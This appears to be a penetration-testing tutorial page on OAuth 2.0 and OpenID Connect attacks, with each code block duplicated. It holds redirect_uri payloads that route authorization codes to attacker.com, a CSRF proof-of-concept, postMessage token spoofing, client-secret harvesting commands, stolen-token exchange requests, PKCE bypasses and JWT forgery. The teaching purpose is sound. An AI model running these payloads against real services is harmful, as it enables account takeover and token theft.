Exploitation A07

OAuth 2.0 & OIDC Attacks

OAuth 2.0 and OpenID Connect power "Login with Google/Facebook/etc." across the web. Implementation flaws can lead to account takeover, token theft, and unauthorized access.

Warning

OAuth attacks can affect user accounts and authorization. Test with your own accounts and clearly document the attack chain for remediation guidance.

๐Ÿ“š Quick Navigation

๐ŸŽฏ Fundamentals

โšก Token Attacks

๐Ÿ” OIDC Specific

๐Ÿงช Practice

OAuth 2.0 Authorization Code Flow

Understanding the OAuth flow is essential for identifying attack points. Each step has potential vulnerabilities.

oauth-flow.txt
http
# OAuth 2.0 Authorization Code Flow

# 1. User clicks "Login with Provider"
โ†’ Redirect to: https://auth.provider.com/authorize?
    response_type=code&
    client_id=CLIENT_ID&
    redirect_uri=https://app.com/callback&
    scope=openid profile email&
    state=RANDOM_STATE_VALUE

# 2. User authenticates with provider and consents

# 3. Provider redirects back with authorization code
โ† Redirect to: https://app.com/callback?
    code=AUTHORIZATION_CODE&
    state=RANDOM_STATE_VALUE

# 4. App exchanges code for tokens (server-side)
POST https://auth.provider.com/token
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code&
code=AUTHORIZATION_CODE&
redirect_uri=https://app.com/callback&
client_id=CLIENT_ID&
client_secret=CLIENT_SECRET

# 5. Provider returns tokens
{
  "access_token": "eyJ...",
  "token_type": "Bearer",
  "expires_in": 3600,
  "refresh_token": "dGhpcyBpcyBhIHJlZnJlc2ggdG9rZW4",
  "id_token": "eyJ..."  // OIDC only
}
# OAuth 2.0 Authorization Code Flow

# 1. User clicks "Login with Provider"
โ†’ Redirect to: https://auth.provider.com/authorize?
    response_type=code&
    client_id=CLIENT_ID&
    redirect_uri=https://app.com/callback&
    scope=openid profile email&
    state=RANDOM_STATE_VALUE

# 2. User authenticates with provider and consents

# 3. Provider redirects back with authorization code
โ† Redirect to: https://app.com/callback?
    code=AUTHORIZATION_CODE&
    state=RANDOM_STATE_VALUE

# 4. App exchanges code for tokens (server-side)
POST https://auth.provider.com/token
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code&
code=AUTHORIZATION_CODE&
redirect_uri=https://app.com/callback&
client_id=CLIENT_ID&
client_secret=CLIENT_SECRET

# 5. Provider returns tokens
{
  "access_token": "eyJ...",
  "token_type": "Bearer",
  "expires_in": 3600,
  "refresh_token": "dGhpcyBpcyBhIHJlZnJlc2ggdG9rZW4",
  "id_token": "eyJ..."  // OIDC only
}

Key Attack Points

Step 1: /authorize

  • โ€ข redirect_uri manipulation
  • โ€ข Missing/weak state parameter
  • โ€ข Scope elevation

Step 3: Callback

  • โ€ข Code/token leakage
  • โ€ข Open redirect exploitation
  • โ€ข State validation bypass

Step 4: /token

  • โ€ข Client secret leakage
  • โ€ข PKCE bypass
  • โ€ข Code replay attacks

Step 5: Token Usage

  • โ€ข Token theft via XSS
  • โ€ข Insufficient validation
  • โ€ข Token reuse across apps

Redirect URI Manipulation

The redirect_uri tells the OAuth provider where to send the authorization code or token. If validation is weak, attackers can redirect tokens to their controlled domain.

redirect-uri-attacks.txt
text
# Redirect URI Manipulation Attacks

# Attack 1: Open Redirect for Token Theft
# If redirect_uri validation is weak, steal authorization code

# Legitimate:
https://auth.provider.com/authorize?
  redirect_uri=https://app.com/callback

# Attack - Path traversal:
redirect_uri=https://app.com/callback/../attacker-page
redirect_uri=https://app.com/callback/..%2f..%2fattacker

# Attack - Subdomain:
redirect_uri=https://evil.app.com/callback
redirect_uri=https://app.com.attacker.com/callback

# Attack - Parameter pollution:
redirect_uri=https://app.com/callback&redirect_uri=https://attacker.com

# Attack - URL encoding tricks:
redirect_uri=https://app.com%40attacker.com/callback
redirect_uri=https://app.com%2f%2fattacker.com/callback

# Attack - Fragment:
redirect_uri=https://app.com/callback#@attacker.com

# Attack - localhost:
redirect_uri=http://localhost/callback
redirect_uri=http://127.0.0.1/callback

# If any work, attacker-controlled page receives:
https://attacker.com/callback?code=AUTHORIZATION_CODE
# Attacker exchanges code for access token!
# Redirect URI Manipulation Attacks

# Attack 1: Open Redirect for Token Theft
# If redirect_uri validation is weak, steal authorization code

# Legitimate:
https://auth.provider.com/authorize?
  redirect_uri=https://app.com/callback

# Attack - Path traversal:
redirect_uri=https://app.com/callback/../attacker-page
redirect_uri=https://app.com/callback/..%2f..%2fattacker

# Attack - Subdomain:
redirect_uri=https://evil.app.com/callback
redirect_uri=https://app.com.attacker.com/callback

# Attack - Parameter pollution:
redirect_uri=https://app.com/callback&redirect_uri=https://attacker.com

# Attack - URL encoding tricks:
redirect_uri=https://app.com%40attacker.com/callback
redirect_uri=https://app.com%2f%2fattacker.com/callback

# Attack - Fragment:
redirect_uri=https://app.com/callback#@attacker.com

# Attack - localhost:
redirect_uri=http://localhost/callback
redirect_uri=http://127.0.0.1/callback

# If any work, attacker-controlled page receives:
https://attacker.com/callback?code=AUTHORIZATION_CODE
# Attacker exchanges code for access token!

Tip

Always test redirect_uri manipulation in an isolated environment. Even unsuccessful attempts provide information about the validation logic for your report.

State Parameter Attacks (CSRF)

state-attacks.txt
text
# State Parameter Attacks (CSRF)

# The state parameter prevents CSRF in OAuth flows
# If missing or predictable, attacks are possible

# Attack 1: Missing State Parameter
# Initiate OAuth flow without state
https://auth.provider.com/authorize?
  response_type=code&
  client_id=xxx&
  redirect_uri=https://app.com/callback
  # NO state parameter!

# Attack: 
# 1. Attacker initiates OAuth with their account
# 2. Gets callback URL with code: /callback?code=ATTACKER_CODE
# 3. Tricks victim into visiting this URL
# 4. Victim's account gets linked to attacker's OAuth account

# Attack 2: Predictable State
# If state=123 or state=user_id, attacker can predict it

# Attack 3: State Not Validated
# App doesn't check if state matches on callback
# Enables CSRF even with state present

# Detection:
1. Remove state parameter - does OAuth still work?
2. Use same state value twice - is it rejected?
3. Use state from different session - is it accepted?

# Proof of Concept:
<html>
<body>
  <!-- Force victim to complete attacker's OAuth flow -->
  <img src="https://app.com/callback?code=ATTACKER_CODE" />
</body>
</html>
# State Parameter Attacks (CSRF)

# The state parameter prevents CSRF in OAuth flows
# If missing or predictable, attacks are possible

# Attack 1: Missing State Parameter
# Initiate OAuth flow without state
https://auth.provider.com/authorize?
  response_type=code&
  client_id=xxx&
  redirect_uri=https://app.com/callback
  # NO state parameter!

# Attack: 
# 1. Attacker initiates OAuth with their account
# 2. Gets callback URL with code: /callback?code=ATTACKER_CODE
# 3. Tricks victim into visiting this URL
# 4. Victim's account gets linked to attacker's OAuth account

# Attack 2: Predictable State
# If state=123 or state=user_id, attacker can predict it

# Attack 3: State Not Validated
# App doesn't check if state matches on callback
# Enables CSRF even with state present

# Detection:
1. Remove state parameter - does OAuth still work?
2. Use same state value twice - is it rejected?
3. Use state from different session - is it accepted?

# Proof of Concept:
<html>
<body>
  <!-- Force victim to complete attacker's OAuth flow -->
  <img src="https://app.com/callback?code=ATTACKER_CODE" />
</body>
</html>

Token Leakage Vectors

token-leakage.txt
text
# Token Leakage Vectors

# 1. Token in URL (Implicit Flow)
# Tokens exposed in browser history, logs, Referer header

https://app.com/callback#access_token=eyJ...&token_type=bearer

# Attack: Link on page sends Referer with token
<a href="https://attacker.com">Click here</a>
# Request to attacker.com includes:
Referer: https://app.com/callback#access_token=eyJ...

# 2. Token in Query String
https://app.com/callback?access_token=eyJ...

# Tokens may appear in:
# - Server access logs
# - Browser history
# - Proxy logs
# - Analytics (if query params tracked)

# 3. Postmessage Leakage
# If app uses postMessage for token delivery:

window.addEventListener('message', function(e) {
  // No origin check!
  processToken(e.data.access_token);
});

# Attacker page can send fake messages:
opener.postMessage({access_token: 'attacker_token'}, '*');

# 4. Token in Error Messages
# Verbose errors may expose tokens
{"error": "Invalid token: eyJhbGciOiJIUzI1NiIsInR5..."}
# Token Leakage Vectors

# 1. Token in URL (Implicit Flow)
# Tokens exposed in browser history, logs, Referer header

https://app.com/callback#access_token=eyJ...&token_type=bearer

# Attack: Link on page sends Referer with token
<a href="https://attacker.com">Click here</a>
# Request to attacker.com includes:
Referer: https://app.com/callback#access_token=eyJ...

# 2. Token in Query String
https://app.com/callback?access_token=eyJ...

# Tokens may appear in:
# - Server access logs
# - Browser history
# - Proxy logs
# - Analytics (if query params tracked)

# 3. Postmessage Leakage
# If app uses postMessage for token delivery:

window.addEventListener('message', function(e) {
  // No origin check!
  processToken(e.data.access_token);
});

# Attacker page can send fake messages:
opener.postMessage({access_token: 'attacker_token'}, '*');

# 4. Token in Error Messages
# Verbose errors may expose tokens
{"error": "Invalid token: eyJhbGciOiJIUzI1NiIsInR5..."}

PKCE Bypass

PKCE (Proof Key for Code Exchange) was designed to protect against authorization code interception. However, implementation issues can render it ineffective.

pkce-bypass.txt
text
# PKCE (Proof Key for Code Exchange) Bypass

# PKCE adds code_verifier/code_challenge to prevent code theft
# But implementation flaws can allow bypass

# Normal PKCE Flow:
# 1. Client generates random code_verifier
# 2. Hashes it: code_challenge = SHA256(code_verifier)
# 3. Sends code_challenge in /authorize request
# 4. Sends code_verifier in /token request
# 5. Server verifies hash matches

# Attack 1: PKCE Not Enforced
# Try authorization request without code_challenge
https://auth.provider.com/authorize?
  response_type=code&
  client_id=xxx&
  redirect_uri=https://app.com/callback
  # No code_challenge - if it works, PKCE is optional!

# Then exchange code without code_verifier:
POST /token
grant_type=authorization_code&
code=xxx&
client_id=xxx
# No code_verifier - if it works, PKCE is bypassable!

# Attack 2: Weak Code Challenge Method
# "plain" method just compares strings (no hash)
code_challenge_method=plain
code_challenge=known_value
# Then use code_verifier=known_value

# Attack 3: Code Challenge Not Bound to Code
# Server doesn't verify code_challenge matches the one used during authorization
# Attacker can use any code_verifier for stolen code
# PKCE (Proof Key for Code Exchange) Bypass

# PKCE adds code_verifier/code_challenge to prevent code theft
# But implementation flaws can allow bypass

# Normal PKCE Flow:
# 1. Client generates random code_verifier
# 2. Hashes it: code_challenge = SHA256(code_verifier)
# 3. Sends code_challenge in /authorize request
# 4. Sends code_verifier in /token request
# 5. Server verifies hash matches

# Attack 1: PKCE Not Enforced
# Try authorization request without code_challenge
https://auth.provider.com/authorize?
  response_type=code&
  client_id=xxx&
  redirect_uri=https://app.com/callback
  # No code_challenge - if it works, PKCE is optional!

# Then exchange code without code_verifier:
POST /token
grant_type=authorization_code&
code=xxx&
client_id=xxx
# No code_verifier - if it works, PKCE is bypassable!

# Attack 2: Weak Code Challenge Method
# "plain" method just compares strings (no hash)
code_challenge_method=plain
code_challenge=known_value
# Then use code_verifier=known_value

# Attack 3: Code Challenge Not Bound to Code
# Server doesn't verify code_challenge matches the one used during authorization
# Attacker can use any code_verifier for stolen code

Client Secret Leakage

client-secret-leakage.txt
bash
# Client Secret Leakage & Misconfiguration

# Finding Client Secrets:

# 1. JavaScript Files
grep -r "client_secret" *.js
# Found: const clientSecret = "abc123";

# 2. Mobile App Reverse Engineering
apktool d app.apk
grep -r "client_secret" app/

# 3. Source Maps
https://app.com/main.js.map
# May contain original source with secrets

# 4. Git History
git log -p | grep -i "client_secret"

# 5. Error Messages
{"error": "invalid_client", "client_id": "xxx", "client_secret": "expected: abc123"}

# Exploitation with Leaked Secret:

# Exchange any authorization code for tokens
POST https://auth.provider.com/token
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code&
code=STOLEN_CODE&
redirect_uri=https://app.com/callback&
client_id=KNOWN_CLIENT_ID&
client_secret=LEAKED_SECRET

# Use refresh tokens to get new access tokens
POST https://auth.provider.com/token
grant_type=refresh_token&
refresh_token=STOLEN_REFRESH_TOKEN&
client_id=KNOWN_CLIENT_ID&
client_secret=LEAKED_SECRET
# Client Secret Leakage & Misconfiguration

# Finding Client Secrets:

# 1. JavaScript Files
grep -r "client_secret" *.js
# Found: const clientSecret = "abc123";

# 2. Mobile App Reverse Engineering
apktool d app.apk
grep -r "client_secret" app/

# 3. Source Maps
https://app.com/main.js.map
# May contain original source with secrets

# 4. Git History
git log -p | grep -i "client_secret"

# 5. Error Messages
{"error": "invalid_client", "client_id": "xxx", "client_secret": "expected: abc123"}

# Exploitation with Leaked Secret:

# Exchange any authorization code for tokens
POST https://auth.provider.com/token
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code&
code=STOLEN_CODE&
redirect_uri=https://app.com/callback&
client_id=KNOWN_CLIENT_ID&
client_secret=LEAKED_SECRET

# Use refresh tokens to get new access tokens
POST https://auth.provider.com/token
grant_type=refresh_token&
refresh_token=STOLEN_REFRESH_TOKEN&
client_id=KNOWN_CLIENT_ID&
client_secret=LEAKED_SECRET

OpenID Connect Attacks

OIDC extends OAuth 2.0 with identity features. The id_token (a JWT) introduces additional attack surfaces.

oidc-attacks.txt
text
# OpenID Connect (OIDC) Specific Attacks

# OIDC adds identity layer on top of OAuth 2.0
# Uses id_token (JWT) to provide user info

# Attack 1: ID Token Validation Bypass
# id_token should be validated (signature, issuer, audience, expiry)
# Many apps don't validate properly

# Missing validations to test:
- Signature verification (try none algorithm)
- Issuer (iss) claim validation
- Audience (aud) claim validation  
- Expiration (exp) check
- Nonce validation (prevents replay)

# Attack 2: Nonce Replay
# Nonce should be unique per authentication request
# If not validated, tokens can be replayed

# Capture valid id_token
# Send same id_token again with different session
# If accepted โ†’ nonce not validated

# Attack 3: Sub Claim Manipulation
# The sub (subject) claim identifies the user
# If app trusts id_token without proper validation:

# Original:
{"sub": "user123", "email": "user@example.com"}

# If signature not checked:
{"sub": "admin", "email": "admin@example.com"}

# Attack 4: ID Token Injection via Implicit Flow
# In implicit flow, id_token comes in fragment
https://app.com/callback#id_token=ATTACKER_CRAFTED_TOKEN

# If app doesn't validate properly, attacker token is accepted

# Attack 5: Discovery Endpoint Spoofing
# OIDC uses /.well-known/openid-configuration
# If app fetches config insecurely, attacker can:
1. MITM the discovery request
2. Point to attacker's jwks_uri
3. Forge valid tokens with attacker's keys
# OpenID Connect (OIDC) Specific Attacks

# OIDC adds identity layer on top of OAuth 2.0
# Uses id_token (JWT) to provide user info

# Attack 1: ID Token Validation Bypass
# id_token should be validated (signature, issuer, audience, expiry)
# Many apps don't validate properly

# Missing validations to test:
- Signature verification (try none algorithm)
- Issuer (iss) claim validation
- Audience (aud) claim validation  
- Expiration (exp) check
- Nonce validation (prevents replay)

# Attack 2: Nonce Replay
# Nonce should be unique per authentication request
# If not validated, tokens can be replayed

# Capture valid id_token
# Send same id_token again with different session
# If accepted โ†’ nonce not validated

# Attack 3: Sub Claim Manipulation
# The sub (subject) claim identifies the user
# If app trusts id_token without proper validation:

# Original:
{"sub": "user123", "email": "user@example.com"}

# If signature not checked:
{"sub": "admin", "email": "admin@example.com"}

# Attack 4: ID Token Injection via Implicit Flow
# In implicit flow, id_token comes in fragment
https://app.com/callback#id_token=ATTACKER_CRAFTED_TOKEN

# If app doesn't validate properly, attacker token is accepted

# Attack 5: Discovery Endpoint Spoofing
# OIDC uses /.well-known/openid-configuration
# If app fetches config insecurely, attacker can:
1. MITM the discovery request
2. Point to attacker's jwks_uri
3. Forge valid tokens with attacker's keys

Testing Workflow

testing-workflow.txt
text
# OAuth/OIDC Testing Workflow

# Step 1: Identify OAuth Endpoints
/.well-known/openid-configuration
/.well-known/oauth-authorization-server
/oauth/authorize, /oauth/token, /oauth/userinfo

# Step 2: Map the Flow
1. Capture authorize request parameters
2. Note all redirect_uri values used
3. Identify implicit vs authorization code flow
4. Check for PKCE parameters

# Step 3: Test Redirect URI
- Try modifying path, subdomain, port
- Test URL encoding bypasses
- Check regex/wildcard matching

# Step 4: Test State Parameter
- Remove state completely
- Use predictable values
- Check if state is validated on callback

# Step 5: Test Token Handling
- Check where tokens are sent (fragment, query, body)
- Look for token leakage in Referer
- Test token replay

# Step 6: Test PKCE (if present)
- Try without code_challenge
- Try with code_challenge_method=plain
- Try with wrong code_verifier

# Step 7: Test ID Token (OIDC)
- Apply JWT attacks (none algorithm, etc.)
- Check claim validation (iss, aud, exp)
- Test nonce replay
# OAuth/OIDC Testing Workflow

# Step 1: Identify OAuth Endpoints
/.well-known/openid-configuration
/.well-known/oauth-authorization-server
/oauth/authorize, /oauth/token, /oauth/userinfo

# Step 2: Map the Flow
1. Capture authorize request parameters
2. Note all redirect_uri values used
3. Identify implicit vs authorization code flow
4. Check for PKCE parameters

# Step 3: Test Redirect URI
- Try modifying path, subdomain, port
- Test URL encoding bypasses
- Check regex/wildcard matching

# Step 4: Test State Parameter
- Remove state completely
- Use predictable values
- Check if state is validated on callback

# Step 5: Test Token Handling
- Check where tokens are sent (fragment, query, body)
- Look for token leakage in Referer
- Test token replay

# Step 6: Test PKCE (if present)
- Try without code_challenge
- Try with code_challenge_method=plain
- Try with wrong code_verifier

# Step 7: Test ID Token (OIDC)
- Apply JWT attacks (none algorithm, etc.)
- Check claim validation (iss, aud, exp)
- Test nonce replay

Practice Labs

Testing Checklist

๐Ÿ” Redirect URI

  • โ˜ Test path manipulation (../, etc.)
  • โ˜ Test subdomain variations
  • โ˜ Test URL encoding bypasses
  • โ˜ Test parameter pollution
  • โ˜ Check for open redirect in callback

โšก State/CSRF

  • โ˜ Remove state parameter
  • โ˜ Reuse state values
  • โ˜ Use predictable state
  • โ˜ Cross-session state usage

๐Ÿ” PKCE

  • โ˜ Try without code_challenge
  • โ˜ Try with plain method
  • โ˜ Try wrong code_verifier
  • โ˜ Check code_challenge binding

๐Ÿ“ Tokens

  • โ˜ Check for token in URL/Referer
  • โ˜ Test id_token validation
  • โ˜ Look for client_secret exposure
  • โ˜ Test token replay attacks
  • โ˜ Check scope handling